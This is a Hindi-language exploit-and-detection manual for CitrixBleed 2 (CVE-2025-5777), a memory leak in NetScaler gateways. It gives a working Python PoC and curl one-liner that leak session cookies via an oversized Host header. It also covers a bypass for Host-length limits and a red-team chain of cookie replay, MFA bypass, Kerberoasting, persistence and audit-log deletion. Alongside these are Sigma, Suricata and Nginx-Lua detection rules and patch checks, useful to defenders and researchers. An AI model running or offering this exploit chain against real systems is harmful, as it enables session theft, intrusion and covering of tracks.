
CitrixBleed 2 — CVE-2025-5777 (आउट-ऑफ-बाउंड्स लीक) PoC और डिटेक्शन किट का विस्तृत विवरण
NetScaler ADC / Gateway में एक Out-of-Bounds Memory Read — कारण से लेकर हमले और बचाव अभ्यास तक का व्यापक मैनुअल
0x00 परिचय / त्वरित अवलोकन
0x01 पृष्ठभूमि: NetScaler आर्किटेक्चर और CitrixBleed 1 की पुनरावृत्ति
0x02 कमजोरी का विवरण (प्रभावित संस्करण, CVSS, शोषण परिणाम)
0x03 ट्रिगर तंत्र का गहन विश्लेषण (स्रोत कोड स्तर विश्लेषण और डीबग स्क्रीनशॉट)
0x04 न्यूनतम PoC + उन्नत स्कैनिंग स्क्रिप्ट
0x05 रेड टीम दृष्टिकोण: पूर्ण आक्रमण श्रृंखला (खोज → लीक → सत्र अपहरण → आंतरिक नेटवर्क लेटरल मूवमेंट)
0x06 ब्लू टीम दृष्टिकोण: पता लगाना, फोरेंसिक और पैच सत्यापन
0x07 रक्षा सुदृढ़ीकरण: पैच, WAF, कॉन्फ़िगरेशन, संपत्ति प्रबंधन
0x08 सीखने / समीक्षा रोडमैप और व्यावहारिक प्रयोग
परिशिष्ट A Sigma / Suricata / Nginx-Lua नियम
परिशिष्ट B पैच/शोषण समयरेखा और IoC स्नैपशॉट
संदर्भ
Host हेडर के साथ GET अनुरोध भेजने से उपकरण यादृच्छिक मेमोरी ब्लॉक को HTTP प्रतिक्रिया के साथ क्लाइंट को "उगल" देता है।NSC_USER / NSC_TASS Cookie, SAML StateContext, MFA टोकन जैसी महत्वपूर्ण सामग्री शामिल होती है, जिसका सीधे उपयोग करके सत्र अपहरण और MFA बाईपास किया जा सकता है (arcticwolf.com, tenable.com)।┌──────────────┐
│ Client │ ① HTTPS
└──────┬───────┘
│
┌──────▼───────┐
│ NetScaler │ ② AAA / Gateway प्रमाणीकरण
│ (WebProc) │
└──────┬───────┘
│
┌──────▼───────┐
│ ICA Proxy / │ ③ आगे एप्लिकेशन पर
│ CVPN / RDP │
└──────────────┘
NetScaler मल्टी-प्रोसेस + आंतरिक IPC डिज़ाइन का उपयोग करता है। WebProc AAA / Gateway पथ के तहत अधिकांश HTTP अनुरोधों को संभालता है, जिसमें /nf/auth/*, /oauth/* आदि शामिल हैं। यह C भाषा में बड़े पैमाने पर snprintf() / memcpy() का उपयोग करता है, हर बार XML/HTML खंडों को जोड़ता है।
/oauth/idp/.well-known/openid-configuration पर हुई।snprintf के रिटर्न वैल्यू को बाद के send() के len पैरामीटर के रूप में उपयोग करना → मेमोरी ओवर-रीड।सीखा गया सबक: यदि सुरक्षा पैच केवल "हथौड़ा बिंदु" को लक्षित करते हैं न कि "प्रोग्रामिंग प्रतिमान" को, तो "टेम्पलेटेड पुनरुत्पादन" के लिए जगह बच जाती है।
| फ़ील्ड | सामग्री |
|---|---|
| CVE | CVE-2025-5777 |
| उपनाम | CitrixBleed 2 |
| कमजोरी प्रकार | Out-of-Bounds Read / सूचना रिसाव |
| CVSS v4 आधार | 9.3 (गंभीर) (netscaler.com) |
| प्रभावित संस्करण | < 14.1-43.56 ; < 13.1-58.32 ; 13.1-37.235-FIPS/NDcPP ; 12.1-55.327-FIPS (netscaler.com) |
| शोषण की शर्तें | NetScaler को Gateway (VPN/ICA Proxy/CVPN/RDP Proxy) या AAA वर्चुअल सर्वर के रूप में कॉन्फ़िगर किया गया हो (arcticwolf.com) |
| शोषण परिणाम | मेमोरी रिसाव → सत्र टोकन → प्रमाणीकरण बाईपास / MFA बाईपास → लेटरल मूवमेंट |
यह खंड 13.1-55.18 फर्मवेयर के डी-कंपाइलेशन + gdb डीबगिंग पर आधारित है, जो सार्वजनिक ब्लॉग से संकलित है (bishopfox.com)।
/nf/auth/startwebview.doHost हेडर<AuthenticateResponse>
<wv:StartUrl>https://gateway.example.com/Citrix/AAA/start.html</wv:StartUrl>
...
</AuthenticateResponse>
citrix_webview_handler()
├─ build_auth_xml()
│ ├─ snprintf(buf, 0x1800, TEMPLATE, host_hdr, ... );
│ └─ return length; // ⚠️ length 0x1800 से अधिक हो सकता है
└─ ns_vpn_send_response(conn, 0x980200, buf, length);
बग बिंदु:
snprintf"वास्तव में लिखी जाने वाली लंबाई" लौटाता है न कि वास्तविक लिखी गई लंबाई; यदि उपयोगकर्ता द्वारा भेजा गयाHost> 0x1800 - स्थिर खंड लंबाई, तोlength>sizeof(buf)होगा।
buf: [-----XML-----][OOB][OOB][OOB]...... <- 0x1800 बाइट्स सीमा
↑
ns_vpn_send_response द्वारा एक साथ भेजा गया
GDB ब्रेकपॉइंट प्रदर्शन (मुख्य रजिस्टर):
RDI (dst) = 0x7fffa2e31800 // buf
RSI (len) = 0x00001e42 // length=7746 (>6144)
read() परिणाम दर्शाता है कि अंतिम 1,600 बाइट्स अप्रारंभीकृत मेमोरी से आते हैं, जहाँ अन्य SSL सत्रों के Cookie बफ़र दिखाई देते हैं।
| श्रेणी | नमूना खंड (असंवेदनशील बनाया गया) |
|---|---|
| सत्र Cookie | Set-Cookie: NSC_USER=john.doe;NSC_TASS=abc123... |
| MFA/OTP टोकन | radius_state=0e2a9c6d1553... |
| अन्य अनुरोध निकाय | <username>audituser</username><password>***</password> |
#!/usr/bin/env python3
# CVE-2025-5777 न्यूनतम PoC (केवल अधिकृत परीक्षण)
import requests, sys, urllib3, re
urllib3.disable_warnings()
if len(sys.argv) != 2:
exit(f"उपयोग: {sys.argv[0]} https://NSVIP")
url = sys.argv[1].rstrip("/") + "/nf/auth/startwebview.do"
hdr = {"Host": "A" * 0x6000} # >0x1800 ट्रिगर करता है
r = requests.get(url, headers=hdr, verify=False, timeout=10)
print("[+] HTTP", r.status_code, "बाइट्स:", len(r.content))
hits = re.findall(br"(NSC_[A-Z]+=[^;]{10,})", r.content)
for h in hits: print(" कुकी लीक ->", h.decode())
open("leak.bin", "wb").write(r.content)
print("[+] ऑफ़लाइन grep के लिए leak.bin सहेजा गया।")
leak.bin से Cookie= और <AuthenticateContext> जैसे कीवर्ड खोजें।curl -ks -H "Host: $(python -c 'print(\"A\"*6000)')" \
https://NSVIP/nf/auth/startwebview.do -o leak.bin
बाईपास: कुछ उपकरणों पर अग्र-छोर F5 / Nginx ने
Hostलंबाई सीमा लगा रखी है; इसे एकाधिक उपडोमेन जोड़कर बाईपास किया जा सकता है, जैसेfoo.foo.foo.…foo.example.com(3000 बारfooदोहराएं)।
| चरण | उद्देश्य और तकनीक |
|---|---|
| ① संपत्ति खोज | zoomeye search "http.title:\"NetScaler Gateway\"" + Shodan आदि; set-cookie: NSC_ फ़िल्टर करें |
| ② PoC लीक | बैच स्क्रिप्ट के साथ समानांतर अनुरोध; NSC_USER= ; NSC_TASS= कैप्चर करें |
| ③ Cookie पुनर्प्रेषण | Chrome DevTools→Application→Cookies→एंट्री जोड़ें, /vpn/index.html रीफ्रेश करें |
| ④ आंतरिक संसाधन | storeweb/#home पर RDP फ़ाइलें प्राप्त करें; .ica डाउनलोड करके सीधे VDI लॉगिन करें |
| ⑤ विशेषाधिकार वृद्धि | आंतरिक क्रेडेंशियल स्प्रे, Kerberoast, ADCS ESC1; या समान नेटवर्क सेगमेंट पर कमजोर पासवर्ड SMB का उपयोग करें |
| ⑥ स्थायित्व | नया Scheduled Task बनाएँ; ऑटो-स्टार्ट स्क्रिप्ट पंजीकृत करें; या NetScaler vDisk संशोधित करें (उच्च विशेषाधिकार के लिए संचालन लापरवाही आवश्यक) |
| ⑦ निशान साफ़ करना | Cookie उपयोग के बाद तुरंत हटाएँ; ऑडिट लॉग हटाएँ (यदि NS रूट मिले); या logrotate रेस का उपयोग करके ओवरराइट करें |
वास्तविक मामला: ReliaQuest ने ग्राहक गेटवे पर "थोड़े समय में बड़ी संख्या में 6 KB+ Host हेडर अनुरोध → तुरंत सत्र चोरी" देखा (reliaquest.com)।
| स्रोत | अभिव्यक्ति |
|---|---|
| /var/log/ns.log | AAA_TRANSACTION <client_ip> - Host header length: 6144 |
| HTTP_ACCESS.log | /nf/auth/startwebview.do अनुरोध अत्यंत कम समय में लेकिन असामान्य रूप से बड़ी प्रतिक्रिया आकार (> 2 KB) |
| EDR/PCAP | Set-Cookie: NSC_USER= गैर-लॉगिन अनुरोधों की प्रतिक्रिया में दिखाई देना |
title: CitrixBleed2 Host Header OOB Leak
status: experimental
logsource:
category: webserver
product: netscaler
detection:
selection:
cs-uri-stem: "/nf/auth/startwebview.do"
cs-bytes|gt: 2048
c-host|strlen|gt: 4096
condition: selection
level: critical
nscli -s 127.0.0.1:3008 \
-c "show ns version" | grep -E "13\.1-58\.32|14\.1-43\.56" \
&& echo "पैच किया गया ✅" || echo "कमजोर ❌"
# सभी सक्रिय VPN/ICA कनेक्शन हटाएँ
kill icaconnection -all
kill vpn -all
नोट: पैच के बाद भी जबरन लॉगआउट करना आवश्यक है, ताकि हमलावर पहले से चुराए गए Cookie का उपयोग जारी न रख सकें।
map $http_host $block_long_host {
default 0;
"~^.{4097,}$" 1;
}
server {
...
if ($block_long_host) { return 413; }
}
/nf/auth/ और /oauth/ पथों के लिए दर सीमा सक्षम करें (जैसे 20 अनुरोध/मिनट)।| चरण | सुझावित सामग्री और कार्य |
|---|---|
| सिद्धांत | Citrix सुरक्षा बुलेटिन, Arctic Wolf / Tenable FAQ, Bishop Fox तकनीकी डिकोडिंग पढ़ें (arcticwolf.com, tenable.com, bishopfox.com) |
| प्रयोग | कमजोर संस्करण 13.1-55.18 (ESXi / KVM) तैनात करें, न्यूनतम PoC चलाएँ, Wireshark से पैकेट कैप्चर करें → TCP PSH प्रतिक्रिया का निरीक्षण करें |
| कोडिंग | PoC को बदलें: स्वचालित Cookie पुनर्प्रेषण, ZTLS बैच स्कैनिंग, मल्टी-थ्रेडेड कतार जोड़ें |
| ब्लू टीम | दो घंटे की विंडो में असामान्य Host लंबाई खोजें; Sigma→Elastic/Graylog का उपयोग करें; WAF नीतियों का पुनरुत्पादन और सत्यापन करें |
| साझा करें | ब्लॉग लिखें या माइंड मैप बनाएँ, "समान snprintf उपयोग जाल" का सारांश दें |
title: Netscaler CitrixBleed2 Large Host Header
id: 4d6f1e1b-0bfe-4473-a732-3e7e9a21f650
status: experimental
description: /nf/auth/startwebview.do के अनुरोधों में असामान्य Host हेडर लंबाई का पता लगाता है
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-5777
author: mingshenhk
logsource:
product: netscaler
service: http_access
detection:
selection:
cs-uri-stem: "/nf/auth/startwebview.do"
c-host|strlen|gt: 4096
condition: selection
level: critical
alert http any any -> any any (
msg:"CitrixBleed2 CVE-2025-5777 Host header overflow";
http.uri; content:"/nf/auth/startwebview.do"; nocase;
http.header; field:Host; content:"AAAAAAAA"; within:0; distance:0; offset:4096;
classtype:attempted-recon;
sid:5777002; rev:1;
)
-- access_by_lua_block
local host = ngx.var.http_host or ""
if #host > 4096 then
ngx.log(ngx.WARN,"[CitrixBleed2] अवरुद्ध Host लंबाई=",#host)
return ngx.exit(ngx.HTTP_REQUEST_HEADER_FIELDS_TOO_LARGE)
end
| दिनांक (2025) | घटना |
|---|---|
| 06-17 | Citrix ने CVE-2025-5777 की प्रारंभिक घोषणा जारी की (netscaler.com) |
| 06-18 | Bishop Fox ने पहला तकनीकी विश्लेषण और PoC जारी किया (bishopfox.com) |
| 06-23 | Citrix ने प्रभाव क्षेत्र + पैच संस्करण अपडेट किया; CISA ने इसे KEV में शामिल किया |
| 06-25 | ReliaQuest ने सक्रिय शोषण की रिपोर्ट दी, खतरा समूह बड़े पैमाने पर सत्र चुरा रहे हैं (reliaquest.com) |
| 06-27 | BleepingComputer ने "संभवतः बड़े पैमाने पर शोषण" की रिपोर्ट दी (bleepingcomputer.com) |
| 06-28 | कई GitHub PoC दिखाई दिए; Tenable ने FAQ जारी किया (tenable.com) |
समाप्त — आशा है यह दस्तावेज़ आपको CitrixBleed 2 को पूरी तरह से समझने और उससे निपटने में मदद करेगा। यदि आपको और उदाहरणों, स्क्रिप्ट या अभ्यास मार्गदर्शन की आवश्यकता हो, तो कृपया बेझिझक पूछें!